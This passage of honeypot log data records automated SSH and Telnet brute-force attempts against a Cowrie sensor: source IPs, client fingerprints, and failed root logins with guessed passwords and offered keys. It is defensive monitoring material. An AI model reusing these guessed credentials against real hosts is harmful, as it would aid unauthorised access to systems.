{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:67:bf:80:87:5f:24:1a:e8:54:4e:4e:7f:64:5e:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeGxSeACCDPy1vwNTKxBSMUEDgLVZdKaTdEkXtTjYb5rTzy99d5M3EwWaa1I7k7awRrkaizYORS45+DcXZmbY1koo10got2x521HaRDaRL9O820a5g0pys8sW0itAqry84sKWUsXkZMC6IbOOhlF9tyl83vL6DXMAXDnIoOzSHM9/FA78j6wHyxke02VnsiE8rS0aB+9dQ3LgpHhPlQbYrbupt2v1rCo2QAGXPfcMShZqUYom2/twPeZvhNOaBG90i8MaQo6AU+g5z/Ta7mg7vku1vabKN9RoX+EkhFdTUI8myfNItAGMgCTwCu31cN5F0P3CxHpeoKaTq9ZDgxyb/tLoIF+A/huDP/Atc+p1yzTDS7wXla9+/DZywxAfKdbyQ0mpy5CMNyQlQLfM4y3FqUZeVyPhNfCZhYwympz61qY9WEiWXeXM4bfpFTeH+3YvED4eXnktGUdCg/mnvL/tVfG5dVv5od/iNBxOKevuPGztUFqj//dR9W7/K+4Mjx9ZX6DZ/oT2RNp7Z6fW8amwQPlZ1Vbkt9/Bq4I4+ENJCH0mJw3Nj9G273XPqvAaeGvZtmCEaj9co+TWTIGJznr1G5o/R5T3GchU4486tnY34eX5d9/RXj266E96CFyIHp9QNo0GmDLvmfONN5j3pxum2LinDV3vAirGig3y4eFK6YQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:67:bf:80:87:5f:24:1a:e8:54:4e:4e:7f:64:5e:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.031989Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:67:bf:80:87:5f:24:1a:e8:54:4e:4e:7f:64:5e:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeGxSeACCDPy1vwNTKxBSMUEDgLVZdKaTdEkXtTjYb5rTzy99d5M3EwWaa1I7k7awRrkaizYORS45+DcXZmbY1koo10got2x521HaRDaRL9O820a5g0pys8sW0itAqry84sKWUsXkZMC6IbOOhlF9tyl83vL6DXMAXDnIoOzSHM9/FA78j6wHyxke02VnsiE8rS0aB+9dQ3LgpHhPlQbYrbupt2v1rCo2QAGXPfcMShZqUYom2/twPeZvhNOaBG90i8MaQo6AU+g5z/Ta7mg7vku1vabKN9RoX+EkhFdTUI8myfNItAGMgCTwCu31cN5F0P3CxHpeoKaTq9ZDgxyb/tLoIF+A/huDP/Atc+p1yzTDS7wXla9+/DZywxAfKdbyQ0mpy5CMNyQlQLfM4y3FqUZeVyPhNfCZhYwympz61qY9WEiWXeXM4bfpFTeH+3YvED4eXnktGUdCg/mnvL/tVfG5dVv5od/iNBxOKevuPGztUFqj//dR9W7/K+4Mjx9ZX6DZ/oT2RNp7Z6fW8amwQPlZ1Vbkt9/Bq4I4+ENJCH0mJw3Nj9G273XPqvAaeGvZtmCEaj9co+TWTIGJznr1G5o/R5T3GchU4486tnY34eX5d9/RXj266E96CFyIHp9QNo0GmDLvmfONN5j3pxum2LinDV3vAirGig3y4eFK6YQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.035552Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.050179Z","src_ip":"103.82.132.16","session":"034ace322b55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:ff:8c:01:e6:b4:3b:2a:9d:0d:4a:cb:0d:af:34:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiwDyzOZKwGXoQZ+CnmSt11KOHdtSB+Ab0vXPS+xc+LEa6AiZKveo4euhBBVVYvJzLt+QSoMFHvX0b93MI67Q1yN31XibBfMHQAGxf72wJx6hduCNU195zDr9JQJOpTowcjvJb2L8dbFs7EJN83uY3CcbiaLEovZpS1NCY523tgg28uwfUf8o17jA+OCmbNx0LN/9QzN9SLrh/UvxAYt2wWxqQlBLxEUS+I36nLKI4l3P3flOhvaOFMXcMeEjPsVnoWKgE0uCWk8o/vsO9c2FTvbHWZuNccy2uD+M52B2n0EBG2NFZsgth/ApJ35A2hZ2DmBi3hg7WTzbCclhVO+zCn3mOmdvRPswTlcOQAOK0cPF6JVVbmFC2ukuPyEHpcjkKa/WVIirSXvnQKVXsX1/OR9onT4PA6ctPJ7++sMw/heb59I0x2wG81RHa56p89L2e76LgMDVuGqnte/ow3XXGlyI8l3F4jN2xlESn9urz3TJfL2kWwKnw4PQv6ygd4GW5PEu0BYBuoWr7OE9YarzJeOFRyyhtFuxhQjnU+R6jSf8byrv8wG59HKgD7TFEOJ+DFk//ZNi45xfkftgJ7tb28QRayLBZoePTXpUtIYYLe8mwMc9wclMo3hbXh06XIg/v8OscbfwFm3n4lJlwdylOQV2UKK1Bg81QnpEA39I3tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:ff:8c:01:e6:b4:3b:2a:9d:0d:4a:cb:0d:af:34:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.104098Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:ff:8c:01:e6:b4:3b:2a:9d:0d:4a:cb:0d:af:34:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDiwDyzOZKwGXoQZ+CnmSt11KOHdtSB+Ab0vXPS+xc+LEa6AiZKveo4euhBBVVYvJzLt+QSoMFHvX0b93MI67Q1yN31XibBfMHQAGxf72wJx6hduCNU195zDr9JQJOpTowcjvJb2L8dbFs7EJN83uY3CcbiaLEovZpS1NCY523tgg28uwfUf8o17jA+OCmbNx0LN/9QzN9SLrh/UvxAYt2wWxqQlBLxEUS+I36nLKI4l3P3flOhvaOFMXcMeEjPsVnoWKgE0uCWk8o/vsO9c2FTvbHWZuNccy2uD+M52B2n0EBG2NFZsgth/ApJ35A2hZ2DmBi3hg7WTzbCclhVO+zCn3mOmdvRPswTlcOQAOK0cPF6JVVbmFC2ukuPyEHpcjkKa/WVIirSXvnQKVXsX1/OR9onT4PA6ctPJ7++sMw/heb59I0x2wG81RHa56p89L2e76LgMDVuGqnte/ow3XXGlyI8l3F4jN2xlESn9urz3TJfL2kWwKnw4PQv6ygd4GW5PEu0BYBuoWr7OE9YarzJeOFRyyhtFuxhQjnU+R6jSf8byrv8wG59HKgD7TFEOJ+DFk//ZNi45xfkftgJ7tb28QRayLBZoePTXpUtIYYLe8mwMc9wclMo3hbXh06XIg/v8OscbfwFm3n4lJlwdylOQV2UKK1Bg81QnpEA39I3tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.107653Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:ff:21:79:49:54:88:df:d0:bc:11:af:63:b3:b8:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt2cpJjaTP744vxdXKsTEmfHyV2qLDD7rJ4zdz1lk+jagV0wqzr7SqHOp6qUaX8prwZfZ74QtmA2EUH/VWszpinZq6erFWzYxSLRSLSePGNraMO6UpyHzaG/VFLaRoKEXo0FXomxDuq19loqCoxkKt39ckY6Kn8M31K5ol4qHAVXm3akgTvwdAqyc399OU3xDWmhi3BjqfIDNVSY+JSZtgNSPUJrUb4QKqTNpcTdum/Rx8euRmb9/bNb+83UzqUraTBD1T8Fne7ROi9fkFqLbKMZwmFVSB65Sx7EL3Nv0dApJS5aNIMiu2Mf7ymVBjZ4bfz2DszulDrsgRFJLpp0IQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:ff:21:79:49:54:88:df:d0:bc:11:af:63:b3:b8:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.176624Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:ff:21:79:49:54:88:df:d0:bc:11:af:63:b3:b8:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt2cpJjaTP744vxdXKsTEmfHyV2qLDD7rJ4zdz1lk+jagV0wqzr7SqHOp6qUaX8prwZfZ74QtmA2EUH/VWszpinZq6erFWzYxSLRSLSePGNraMO6UpyHzaG/VFLaRoKEXo0FXomxDuq19loqCoxkKt39ckY6Kn8M31K5ol4qHAVXm3akgTvwdAqyc399OU3xDWmhi3BjqfIDNVSY+JSZtgNSPUJrUb4QKqTNpcTdum/Rx8euRmb9/bNb+83UzqUraTBD1T8Fne7ROi9fkFqLbKMZwmFVSB65Sx7EL3Nv0dApJS5aNIMiu2Mf7ymVBjZ4bfz2DszulDrsgRFJLpp0IQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.180464Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:9a:63:60:5e:e9:5e:b7:57:97:7f:05:b4:c3:cf:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDatExghUPnhQyaPFDRXx8y3MNi9HVuEpeCdM8q5ZbY/6YpqAmL+4dWqZmvJ+GM6XvBU1ztmMorbbjGwRYleZLw5DFcl71bN2DAlv1fDsyj3tuw6LrHWOVJI2WiJoYE670sowHzb2EtDrKyNX89NJ9lM8Te7ykLWKBPL200Rqt6YMC+3UHtL2WKqCib1llYcaBDzbzh1inl99SZxsDjoB6JDhX+MJW/jApjVGZY/3ZKSgH2A+OUzZZjljTfY+TfiNFbd4NqoMcqfeDVBJaTUDGidoii49akxZq4wF6h9K7la8Mg37qZhMl6zuD16b4oSgaTE7RVqkdHwV/1aAaIOVjk45o98riZF9LOgoFVRSqFablw72YDoXgA48ugT2fJs56Vkii3hYn79jFlVwYy/Fq3ZCBA2PkfmM4DgeGs6PDT5KrjwkGRdgzRg4Ep0MuoyA8VZ2HPKQwHTEDdFuv7y5dCXblMbpbSN/w7zZS1+MGanM6bhqHaRcavPeM/bRLGtH7C7rMoCDpANg5PcS8S/qxmnTL1CaiGkrBxyzHOAmtqrRKrv09vMesnr2CWesP5XRifn/nm+HMoQEDSfvZYpcWRdiEoZnIqrHCqNmfn+On+puemULE7lCTF5Ldmd2jn0aPHO2/BTT1CRRo4vg7PigZoxT9uJKeH1cOS7Tn1oKgOJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:9a:63:60:5e:e9:5e:b7:57:97:7f:05:b4:c3:cf:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.252324Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:9a:63:60:5e:e9:5e:b7:57:97:7f:05:b4:c3:cf:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDatExghUPnhQyaPFDRXx8y3MNi9HVuEpeCdM8q5ZbY/6YpqAmL+4dWqZmvJ+GM6XvBU1ztmMorbbjGwRYleZLw5DFcl71bN2DAlv1fDsyj3tuw6LrHWOVJI2WiJoYE670sowHzb2EtDrKyNX89NJ9lM8Te7ykLWKBPL200Rqt6YMC+3UHtL2WKqCib1llYcaBDzbzh1inl99SZxsDjoB6JDhX+MJW/jApjVGZY/3ZKSgH2A+OUzZZjljTfY+TfiNFbd4NqoMcqfeDVBJaTUDGidoii49akxZq4wF6h9K7la8Mg37qZhMl6zuD16b4oSgaTE7RVqkdHwV/1aAaIOVjk45o98riZF9LOgoFVRSqFablw72YDoXgA48ugT2fJs56Vkii3hYn79jFlVwYy/Fq3ZCBA2PkfmM4DgeGs6PDT5KrjwkGRdgzRg4Ep0MuoyA8VZ2HPKQwHTEDdFuv7y5dCXblMbpbSN/w7zZS1+MGanM6bhqHaRcavPeM/bRLGtH7C7rMoCDpANg5PcS8S/qxmnTL1CaiGkrBxyzHOAmtqrRKrv09vMesnr2CWesP5XRifn/nm+HMoQEDSfvZYpcWRdiEoZnIqrHCqNmfn+On+puemULE7lCTF5Ldmd2jn0aPHO2/BTT1CRRo4vg7PigZoxT9uJKeH1cOS7Tn1oKgOJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.256772Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:48.327058Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.44172692298889,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:49.776811Z","src_ip":"152.42.224.71","session":"1ada641b09ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.113178968429565,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:50.174843Z","src_ip":"152.42.224.71","session":"1624567f19cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53330,"dst_ip":"10.17.0.5","dst_port":22,"session":"d32e7ddf217f","protocol":"ssh","message":"New connection: 103.153.68.219:53330 (10.17.0.5:22) [session: d32e7ddf217f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:51.196980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:51.200612Z","src_ip":"103.153.68.219","session":"d32e7ddf217f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39136,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2b4f9283853","protocol":"telnet","message":"New connection: 152.42.224.71:39136 (10.17.0.5:23) [session: c2b4f9283853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:51.423635Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:51.452090Z","src_ip":"103.153.68.219","session":"d32e7ddf217f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjnfr","message":"login attempt [root/ghjcnjnfr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:52.191089Z","src_ip":"103.153.68.219","session":"d32e7ddf217f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00125455856323,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:52.676641Z","src_ip":"152.42.224.71","session":"0879fc981aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.30691432952881,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:53.346654Z","src_ip":"152.42.224.71","session":"a299f9afef9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:53.440727Z","src_ip":"103.153.68.219","session":"d32e7ddf217f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":60018,"dst_ip":"10.17.0.5","dst_port":22,"session":"091ad71c2c5e","protocol":"ssh","message":"New connection: 182.93.50.90:60018 (10.17.0.5:22) [session: 091ad71c2c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:56.285537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:56.289251Z","src_ip":"182.93.50.90","session":"091ad71c2c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:56.508701Z","src_ip":"182.93.50.90","session":"091ad71c2c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste123","message":"login attempt [root/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:57.421363Z","src_ip":"182.93.50.90","session":"091ad71c2c5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.74660038948059,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:57.884599Z","src_ip":"152.42.224.71","session":"0b2f56f5da14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:58.643792Z","src_ip":"182.93.50.90","session":"091ad71c2c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":37506,"dst_ip":"10.17.0.5","dst_port":22,"session":"3999f55d067a","protocol":"ssh","message":"New connection: 190.85.41.170:37506 (10.17.0.5:22) [session: 3999f55d067a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:04.002768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:04.009186Z","src_ip":"190.85.41.170","session":"3999f55d067a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:04.088010Z","src_ip":"190.85.41.170","session":"3999f55d067a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinus123","message":"login attempt [root/sinus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:04.413845Z","src_ip":"190.85.41.170","session":"3999f55d067a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:05.495081Z","src_ip":"190.85.41.170","session":"3999f55d067a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46716,"dst_ip":"10.17.0.5","dst_port":23,"session":"aebdc86fbace","protocol":"telnet","message":"New connection: 152.42.224.71:46716 (10.17.0.5:23) [session: aebdc86fbace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:06.292328Z"}
{"eventid":"cowrie.session.closed","duration":45.58666205406189,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:06.380947Z","src_ip":"152.42.224.71","session":"70b43c776f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46732,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a311cdca47e","protocol":"telnet","message":"New connection: 152.42.224.71:46732 (10.17.0.5:23) [session: 5a311cdca47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:09.957634Z"}
{"eventid":"cowrie.session.closed","duration":33.61410450935364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:11.685259Z","src_ip":"152.42.224.71","session":"71acb8e889a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":41388,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea525806dc19","protocol":"ssh","message":"New connection: 103.75.182.198:41388 (159.203.135.109:22) [session: ea525806dc19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:12.384640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:12.389941Z","src_ip":"103.75.182.198","session":"ea525806dc19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sh